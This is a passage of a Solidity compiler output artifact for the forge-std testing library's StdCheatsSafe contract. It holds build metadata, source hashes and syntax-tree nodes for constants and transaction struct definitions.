Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/StdCheats.sol":"StdCheatsSafe"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/StdCheats.sol","id":6331,"exportedSymbols":{"StdCheats":[6330],"StdCheatsSafe":[5537],"StdStorage":[7427],"Vm":[15673],"console2":[31862],"stdStorage":[9386]},"nodeType":"SourceUnit","src":"32:31442:3","nodes":[{"id":3479,"nodeType":"PragmaDirective","src":"32:31:3","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":3480,"nodeType":"PragmaDirective","src":"65:33:3","nodes":[],"literals":["experimental","ABIEncoderV2"]},{"id":3483,"nodeType":"ImportDirective","src":"100:56:3","nodes":[],"absolutePath":"lib/forge-std/src/StdStorage.sol","file":"./StdStorage.sol","nameLocation":"-1:-1:-1","scope":6331,"sourceUnit":9387,"symbolAliases":[{"foreign":{"id":3481,"name":"StdStorage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7427,"src":"108:10:3","typeDescriptions":{}},"nameLocation":"-1:-1:-1"},{"foreign":{"id":3482,"name":"stdStorage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9386,"src":"120:10:3","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":3485,"nodeType":"ImportDirective","src":"157:40:3","nodes":[],"absolutePath":"lib/forge-std/src/console2.sol","file":"./console2.sol","nameLocation":"-1:-1:-1","scope":6331,"sourceUnit":31863,"symbolAliases":[{"foreign":{"id":3484,"name":"console2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31862,"src":"165:8:3","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":3487,"nodeType":"ImportDirective","src":"198:28:3","nodes":[],"absolutePath":"lib/forge-std/src/Vm.sol","file":"./Vm.sol","nameLocation":"-1:-1:-1","scope":6331,"sourceUnit":15674,"symbolAliases":[{"foreign":{"id":3486,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"206:2:3","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":5537,"nodeType":"ContractDefinition","src":"228:23951:3","nodes":[{"id":3504,"nodeType":"VariableDeclaration","src":"266:84:3","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"286:2:3","scope":5537,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"},"typeName":{"id":3489,"nodeType":"UserDefinedTypeName","pathNode":{"id":3488,"name":"Vm","nameLocations":["266:2:3"],"nodeType":"IdentifierPath","referencedDeclaration":15673,"src":"266:2:3"},"referencedDeclaration":15673,"src":"266:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":3498,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"328:17:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""}],"id":3497,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"318:9:3","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":3499,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"318:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":3496,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"310:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":3495,"name":"uint256","nodeType":"ElementaryTypeName","src":"310:7:3","typeDescriptions":{}}},"id":3500,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"310:37:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":3494,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"302:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":3493,"name":"uint160","nodeType":"ElementaryTypeName","src":"302:7:3","typeDescriptions":{}}},"id":3501,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"302:46:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":3492,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"294:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":3491,"name":"address","nodeType":"ElementaryTypeName","src":"294:7:3","typeDescriptions":{}}},"id":3502,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"294:55:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":3490,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"291:2:3","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Vm_$15673_$","typeString":"type(contract Vm)"}},"id":3503,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"291:59:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"visibility":"private"},{"id":3507,"nodeType":"VariableDeclaration","src":"357:125:3","nodes":[],"constant":true,"mutability":"constant","name":"UINT256_MAX","nameLocation":"382:11:3","scope":5537,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3505,"name":"uint256","nodeType":"ElementaryTypeName","src":"357:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"313135373932303839323337333136313935343233353730393835303038363837393037383533323639393834363635363430353634303339343537353834303037393133313239363339393335","id":3506,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"404:78:3","typeDescriptions":{"typeIdentifier":"t_rational_115792089237316195423570985008687907853269984665640564039457584007913129639935_by_1","typeString":"int_const 1157...(70 digits omitted)...9935"},"value":"115792089237316195423570985008687907853269984665640564039457584007913129639935"},"visibility":"private"},{"id":3509,"nodeType":"VariableDeclaration","src":"489:27:3","nodes":[],"constant":false,"mutability":"mutable","name":"gasMeteringOff","nameLocation":"502:14:3","scope":5537,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":3508,"name":"bool","nodeType":"ElementaryTypeName","src":"489:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"private"},{"id":3526,"nodeType":"StructDefinition","src":"761:325:3","nodes":[],"canonicalName":"StdCheatsSafe.RawTx1559","members":[{"constant":false,"id":3512,"mutability":"mutable","name":"arguments","nameLocation":"797:9:3","nodeType":"VariableDeclaration","scope":3526,"src":"788:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":3510,"name":"string","nodeType":"ElementaryTypeName","src":"788:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":3511,"nodeType":"ArrayTypeName","src":"788:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":3514,"mutability":"mutable","name":"contractAddress","nameLocation":"824:15:3","nodeType":"VariableDeclaration","scope":3526,"src":"816:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3513,"name":"address","nodeType":"ElementaryTypeName","src":"816:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3516,"mutability":"mutable","name":"contractName","nameLocation":"856:12:3","nodeType":"VariableDeclaration","scope":3526,"src":"849:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3515,"name":"string","nodeType":"ElementaryTypeName","src":"849:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3518,"mutability":"mutable","name":"functionSig","nameLocation":"923:11:3","nodeType":"VariableDeclaration","scope":3526,"src":"916:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3517,"name":"string","nodeType":"ElementaryTypeName","src":"916:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3520,"mutability":"mutable","name":"hash","nameLocation":"952:4:3","nodeType":"VariableDeclaration","scope":3526,"src":"944:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3519,"name":"bytes32","nodeType":"ElementaryTypeName","src":"944:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3523,"mutability":"mutable","name":"txDetail","nameLocation":"1014:8:3","nodeType":"VariableDeclaration","scope":3526,"src":"998:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail"},"typeName":{"id":3522,"nodeType":"UserDefinedTypeName","pathNode":{"id":3521,"name":"RawTx1559Detail","nameLocations":["998:15:3"],"nodeType":"IdentifierPath","referencedDeclaration":3545,"src":"998:15:3"},"referencedDeclaration":3545,"src":"998:15:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail"}},"visibility":"internal"},{"constant":false,"id":3525,"mutability":"mutable","name":"opcode","nameLocation":"1073:6:3","nodeType":"VariableDeclaration","scope":3526,"src":"1066:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3524,"name":"string","nodeType":"ElementaryTypeName","src":"1066:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"name":"RawTx1559","nameLocation":"768:9:3","scope":5537,"visibility":"public"},{"id":3545,"nodeType":"StructDefinition","src":"1092:208:3","nodes":[],"canonicalName":"StdCheatsSafe.RawTx1559Detail","members":[{"constant":false,"id":3530,"mutability":"mutable","name":"accessList","nameLocation":"1138:10:3","nodeType":"VariableDeclaration","scope":3545,"src":"1125:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.AccessList[]"},"typeName":{"baseType":{"id":3528,"nodeType":"UserDefinedTypeName","pathNode":{"id":3527,"name":"AccessList","nameLocations":["1125:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3637,"src":"1125:10:3"},"referencedDeclaration":3637,"src":"1125:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_AccessList_$3637_storage_ptr","typeString":"struct StdCheatsSafe.AccessList"}},"id":3529,"nodeType":"ArrayTypeName","src":"1125:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.AccessList[]"}},"visibility":"internal"},{"constant":false,"id":3532,"mutability":"mutable","name":"data","nameLocation":"1164:4:3","nodeType":"VariableDeclaration","scope":3545,"src":"1158:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3531,"name":"bytes","nodeType":"ElementaryTypeName","src":"1158:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3534,"mutability":"mutable","name":"from","nameLocation":"1186:4:3","nodeType":"VariableDeclaration","scope":3545,"src":"1178:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3533,"name":"address","nodeType":"ElementaryTypeName","src":"1178:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3536,"mutability":"mutable","name":"gas","nameLocation":"1206:3:3","nodeType":"VariableDeclaration","scope":3545,"src":"1200:9:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3535,"name":"bytes","nodeType":"ElementaryTypeName","src":"1200:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3538,"mutability":"mutable","name":"nonce","nameLocation":"1225:5:3","nodeType":"VariableDeclaration","scope":3545,"src":"1219:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3537,"name":"bytes","nodeType":"ElementaryTypeName","src":"1219:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3540,"mutability":"mutable","name":"to","nameLocation":"1248:2:3","nodeType":"VariableDeclaration","scope":3545,"src":"1240:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3539,"name":"address","nodeType":"ElementaryTypeName","src":"1240:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3542,"mutability":"mutable","name":"txType","nameLocation":"1266:6:3","nodeType":"VariableDeclaration","scope":3545,"src":"1260:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3541,"name":"bytes","nodeType":"ElementaryTypeName","src":"1260:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3544,"mutability":"mutable","name":"value","nameLocation":"1288:5:3","nodeType":"VariableDeclaration","scope":3545,"src":"1282:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3543,"name":"bytes","nodeType":"ElementaryTypeName","src":"1282:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"name":"RawTx1559Detail","nameLocation":"1099:15:3","scope":5537,"visibility":"public"},{"id":3562,"nodeType":"StructDefinition","src":"1306:215:3","nodes":[],"canonicalName":"StdCheatsSafe.Tx1559","members":[{"constant":false,"id":3548,"mutability":"mutable","name":"arguments","nameLocation":"1339:9:3","nodeType":"VariableDeclaration","scope":3562,"src":"1330:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":3546,"name":"string","nodeType":"ElementaryTypeName","src":"1330:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":3547,"nodeType":"ArrayTypeName","src":"1330:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":3550,"mutability":"mutable","name":"contractAddress","nameLocation":"1366:15:3","nodeType":"VariableDeclaration","scope":3562,"src":"1358:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3549,"name":"address","nodeType":"ElementaryTypeName","src":"1358:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3552,"mutability":"mutable","name":"contractName","nameLocation":"1398:12:3","nodeType":"VariableDeclaration","scope":3562,"src":"1391:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3551,"name":"string","nodeType":"ElementaryTypeName","src":"1391:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3554,"mutability":"mutable","name":"functionSig","nameLocation":"1427:11:3","nodeType":"VariableDeclaration","scope":3562,"src":"1420:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3553,"name":"string","nodeType":"ElementaryTypeName","src":"1420:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3556,"mutability":"mutable","name":"hash","nameLocation":"1456:4:3","nodeType":"VariableDeclaration","scope":3562,"src":"1448:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3555,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1448:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3559,"mutability":"mutable","name":"txDetail","nameLocation":"1483:8:3","nodeType":"VariableDeclaration","scope":3562,"src":"1470:21:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail"},"typeName":{"id":3558,"nodeType":"UserDefinedTypeName","pathNode":{"id":3557,"name":"Tx1559Detail","nameLocations":["1470:12:3"],"nodeType":"IdentifierPath","referencedDeclaration":3581,"src":"1470:12:3"},"referencedDeclaration":3581,"src":"1470:12:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail"}},"visibility":"internal"},{"constant":false,"id":3561,"mutability":"mutable","name":"opcode","nameLocation":"1508:6:3","nodeType":"VariableDeclaration","scope":3562,"src":"1501:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3560,"name":"string","nodeType":"ElementaryTypeName","src":"1501:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"name":"Tx1559","nameLocation":"1313:6:3","scope":5537,"visibility":"public"},{"id":3581,"nodeType":"StructDefinition","src":"1527:213:3","nodes":[],"canonicalName":"StdCheatsSafe.Tx1559Detail","members":[{"constant":false,"id":3566,"mutability":"mutable","name":"accessList","nameLocation":"1570:10:3","nodeType":"VariableDeclaration","scope":3581,"src":"1557:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.AccessList[]"},"typeName":{"baseType":{"id":3564,"nodeType":"UserDefinedTypeName","pathNode":{"id":3563,"name":"AccessList","nameLocations":["1557:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3637,"src":"1557:10:3"},"referencedDeclaration":3637,"src":"1557:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_AccessList_$3637_storage_ptr","typeString":"struct StdCheatsSafe.AccessList"}},"id":3565,"nodeType":"ArrayTypeName","src":"1557:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.AccessList[]"}},"visibility":"internal"},{"constant":false,"id":3568,"mutability":"mutable","name":"data","nameLocation":"1596:4:3","nodeType":"VariableDeclaration","scope":3581,"src":"1590:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3567,"name":"bytes","nodeType":"ElementaryTypeName","src":"1590:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3570,"mutability":"mutable","name":"from","nameLocation":"1618:4:3","nodeType":"VariableDeclaration","scope":3581,"src":"1610:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3569,"name":"address","nodeType":"ElementaryTypeName","src":"1610:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3572,"mutability":"mutable","name":"gas","nameLocation":"1640:3:3","nodeType":"VariableDeclaration","scope":3581,"src":"1632:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3571,"name":"uint256","nodeType":"ElementaryTypeName","src":"1632:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3574,"mutability":"mutable","name":"nonce","nameLocation":"1661:5:3","nodeType":"VariableDeclaration","scope":3581,"src":"1653:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3573,"name":"uint256","nodeType":"ElementaryTypeName","src":"1653:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3576,"mutability":"mutable","name":"to","nameLocation":"1684:2:3","nodeType":"VariableDeclaration","scope":3581,"src":"1676:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3575,"name":"address","nodeType":"ElementaryTypeName","src":"1676:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3578,"mutability":"mutable","name":"txType","nameLocation":"1704:6:3","nodeType":"VariableDeclaration","scope":3581,"src":"1696:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3577,"name":"uint256","nodeType":"ElementaryTypeName","src":"1696:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3580,"mutability":"mutable","name":"value","nameLocation":"1728:5:3","nodeType":"VariableDeclaration","scope":3581,"src":"1720:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3579,"name":"uint256","nodeType":"ElementaryTypeName","src":"1720:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"name":"Tx1559Detail","nameLocation":"1534:12:3","scope":5537,"visibility":"public"},{"id":3598,"nodeType":"StructDefinition","src":"1991:221:3","nodes":[],"canonicalName":"StdCheatsSafe.TxLegacy","members":[{"constant":false,"id":3584,"mutability":"mutable","name":"arguments","nameLocation":"2026:9:3","nodeType":"VariableDeclaration","scope":3598,"src":"2017:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":3582,"name":"string","nodeType":"ElementaryTypeName","src":"2017:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":3583,"nodeType":"ArrayTypeName","src":"2017:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":3586,"mutability":"mutable","name":"contractAddress","nameLocation":"2053:15:3","nodeType":"VariableDeclaration","scope":3598,"src":"2045:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3585,"name":"address","nodeType":"ElementaryTypeName","src":"2045:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3588,"mutability":"mutable","name":"contractName","nameLocation":"2085:12:3","nodeType":"VariableDeclaration","scope":3598,"src":"2078:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3587,"name":"string","nodeType":"ElementaryTypeName","src":"2078:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3590,"mutability":"mutable","name":"functionSig","nameLocation":"2114:11:3","nodeType":"VariableDeclaration","scope":3598,"src":"2107:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3589,"name":"string","nodeType":"ElementaryTypeName","src":"2107:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3592,"mutability":"mutable","name":"hash","nameLocation":"2142:4:3","no